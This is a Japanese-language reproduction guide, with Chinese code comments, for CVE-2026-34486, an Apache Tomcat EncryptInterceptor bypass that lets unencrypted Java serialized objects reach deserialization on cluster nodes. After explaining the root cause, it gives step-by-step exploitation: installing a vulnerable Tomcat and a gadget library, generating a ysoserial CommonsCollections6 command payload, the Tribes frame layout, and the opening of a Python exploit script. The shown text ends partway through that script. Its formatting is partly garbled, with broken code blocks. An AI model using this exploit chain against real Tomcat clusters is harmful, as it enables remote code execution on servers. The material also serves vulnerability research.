CVE-2026-34486 Apache Tomcat EncryptInterceptor バイパス脆弱性の再現

一、脆弱性の概要

属性	詳細
CVE 番号	CVE-2026-34486
深刻度	Important / High（CVSS 3.1: 7.5）
脆弱性タイプ	CWE-311 機密データの暗号化欠如 / CWE-807 信頼できない入力の制約
影響を受けるバージョン	Apache Tomcat 9.0.116 / 10.1.53 / 11.0.20
修正バージョン	Apache Tomcat 9.0.117 / 10.1.54 / 11.0.21
根本原因	EncryptInterceptor.messageReceived() 内で super.messageReceived(msg) が try-catch ブロックの外側に移動された

脆弱性の根本原因

CVE-2026-29146（Padding Oracle）の修正時に、開発者は EncryptInterceptor.messageReceived() メソッドをリファクタリングし、super.messageReceived(msg) を try ブロックの内側から外側へ移動しました：

修正前（安全）：```java public void messageReceived(ChannelMessage msg) { try { byte[] data = msg.getMessage().getBytes(); data = encryptionManager.decrypt(data); XByteBuffer xbb = msg.getMessage(); xbb.clear(); xbb.append(data, 0, data.length); super.messageReceived(msg); // ← 在 try 内，解密成功才传递 } catch (GeneralSecurityException gse) { log.error(...); // 异常被捕获，消息被丢弃 } }

**脆弱性コード（危険）：**```java
public void messageReceived(ChannelMessage msg) {
    try {
        byte[] data = msg.getMessage().getBytes();
        data = encryptionManager.decrypt(data);
        XByteBuffer xbb = msg.getMessage();
        xbb.clear();
        xbb.append(data, 0, data.length);
    } catch (GeneralSecurityException gse) {
        log.error(...);
        // 异常被捕获，但执行流继续！
    }
    super.messageReceived(msg);  // ← 在 try 外，无论解密是否成功都会执行！
}

バイトコード検証（Tomcat 9.0.116 の EncryptInterceptor.class より）：``` Exception table: from to target type 0 39 42 Class java/security/GeneralSecurityException

// 偏移 60: super.messageReceived(msg) —— 在 try 范围(0-39)之外 60: aload_0 61: aload_1 62: invokespecial #136 // Method ChannelInterceptorBase.messageReceived

---

## 2. 再現環境

| コンポーネント | バージョン/構成 |
|---|---|
| OS | Ubuntu 22.04（サンドボックス環境） |
| JDK | OpenJDK 20（Zulu） |
| Tomcat | 9.0.116（脆弱性バージョン） |
| Gadget ライブラリ | Commons Collections 3.1 |
| 攻撃ツール | ysoserial v0.0.6 + カスタム Python/Java PoC |

### 環境トポロジー```
同一台机器上运行两个 Tomcat 实例:
- Node1: HTTP 18080, Tribes TCP 4000
- Node2: HTTP 28080, Tribes TCP 4001
两个节点通过组播(228.0.0.4:45564)发现彼此，通过 EncryptInterceptor 加密通信

---

三、詳細な再現手順

ステップ 1：脆弱性のあるバージョンの Tomcat をダウンロードしてインストールする```bash

下载 Tomcat 9.0.116

wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz

解压两份

tar -xzf apache-tomcat-9.0.116.tar.gz cp -r apache-tomcat-9.0.116 tomcat-node1 cp -r apache-tomcat-9.0.116 tomcat-node2

### ステップ 2：Gadget ライブラリのインストール```bash
# 下载 Commons Collections 3.1
wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar

# 放入 Tomcat lib 目录
cp commons-collections-3.1.jar tomcat-node1/lib/
cp commons-collections-3.1.jar tomcat-node2/lib/

ステップ 3：クラスタの設定 + EncryptInterceptor

tomcat-node1/conf/server.xml を編集し、<Engine> 内に以下を追加します：```xml

> 注意: `encryptionKey` は十六進文字列形式（例: `546869734973415365637265744B6579` = "ThisIsASecretKey" の ASCII 十六進）である必要があり、平文文字列では指定できません。

### ステップ 4: Session 複製の有効化

`webapps/ROOT/WEB-INF/web.xml` に以下を追加します:```xml
<distributable/>

ステップ 5：Tomcat クラスターの起動```bash

启动 Node1

cd tomcat-node1 && bin/catalina.sh start

启动 Node2

cd tomcat-node2 && bin/catalina.sh start

验证集群建立

日志中应出现: "Replication member added: ..."

端口 4000/4001 应监听中

**実際の起動ログの確認：**```
WARNING [main] EncryptInterceptor.createEncryptionManager
  The EncryptInterceptor is using the algorithm [AES/CBC/PKCS5Padding].
  It is recommended to switch to using AES/GCM/NoPadding.

INFO [main] ReceiverBase.bind
  Receiver Server Socket bound to:[/172.24.0.7:4000]

INFO [Catalina-utility-1] SimpleTcpCluster.memberAdded
  Replication member added:[MemberImpl[tcp://{172, 24, 0, 7}:4001,...]]

ステップ 6：逆シリアル化ペイロードの生成```bash

使用 ysoserial 生成 CommonsCollections6 gadget chain

(CC6 在 Java 高版本兼容性更好)

java --add-opens java.base/java.lang=ALL-UNNAMED
--add-opens java.base/java.util=ALL-UNNAMED
--add-opens java.base/java.lang.reflect=ALL-UNNAMED
-jar ysoserial.jar CommonsCollections6 "touch /tmp/CVE-2026-34486-PWNED"
> payload_touch.bin

验证 payload 以 Java 序列化魔术字节开头

python3 -c " with open('payload_touch.bin', 'rb') as f: print(f'Magic: {f.read(2).hex()}') # 应输出: aced "

### ステップ 7：Tribes プロトコルメッセージの構築と送信

Tribes メッセージには、特定の XByteBuffer フレームカプセル化形式が必要です：```
[START_DATA "FLT2002" (7B)] [数据长度 (4B BE)] [ChannelData 载荷] [END_DATA "TLF003" (7B)]

其中ChannelDataペイロード構造：``` [options (4B)] [timestamp (8B)] [uniqueIdLen (4B)] [uniqueId (16B)] [memberDataLen (4B)] [MemberImpl 数据] [messageLen (4B)] [消息体]

**重要**: メッセージボディに暗号化されていない Java シリアライズペイロードを直接配置します。これが脆弱性悪用の核心です——EncryptInterceptor は復号を試みますが、失敗しても元のバイト列を後続のチェーンに渡します。

#### 方法1: Python PoC スクリプト (`exploit.py`)```python
#!/usr/bin/env python3
"""
CVE-2026-34486 - Apache Tomcat EncryptInterceptor Bypass PoC
漏洞原理：EncryptInterceptor.messageReceived() 中 super.messageReceived(msg) 被移到了
try-catch 块外面，导致解密失败后原始字节仍被传递给后续处理链，最终进入无过滤的
ObjectInputStream.readObject()，可触发 Java 反序列化 RCE。

用于授权的安全研究环境，严禁用于非法用途。
"""

import socket
import struct
import sys
import os
import time

# ==================== Tribes 协议常量 ====================
START_DATA = b"FLT2002"   # XByteBuffer 帧起始标记 (7 bytes)
END_DATA   = b"TLF003"    # XByteBuffer 帧结束标记 (7 bytes)

TRIBES_MBR_BEGIN = b"TRIBES-B\x01\x00"  # MemberImpl 起始标记 (10 bytes)
TRIBES_MBR_END   = b"TRIBES-E\x01\x00"  # MemberImpl 结束标记 (10 bytes)


def build_member_data(host_bytes, port):
    """构造 MemberImpl 序列化数据"""
    inner = b""
    inner += struct.pack(">q", 0)                  # memberAliveTime (8B)
    inner += struct.pack(">i", port)                # port (4B)
    inner += struct.pack(">i", 0)                   # securePort (4B)
    inner += struct.pack(">i", 0)                   # udpPort (4B)
    inner += struct.pack(">b", len(host_bytes))     # hostLen (1B)
    inner += host_bytes                              # host
    inner += struct.pack(">i", 0)                   # commandLen (4B)
    inner += struct.pack(">i", 0)                   # domainLen (4B)
    inner += os.urandom(16)                          # uniqueId (16B)
    inner += struct.pack(">i", 0)                   # payloadLen (4B)

    return TRIBES_MBR_BEGIN + struct.pack(">i", len(inner)) + inner + TRIBES_MBR_END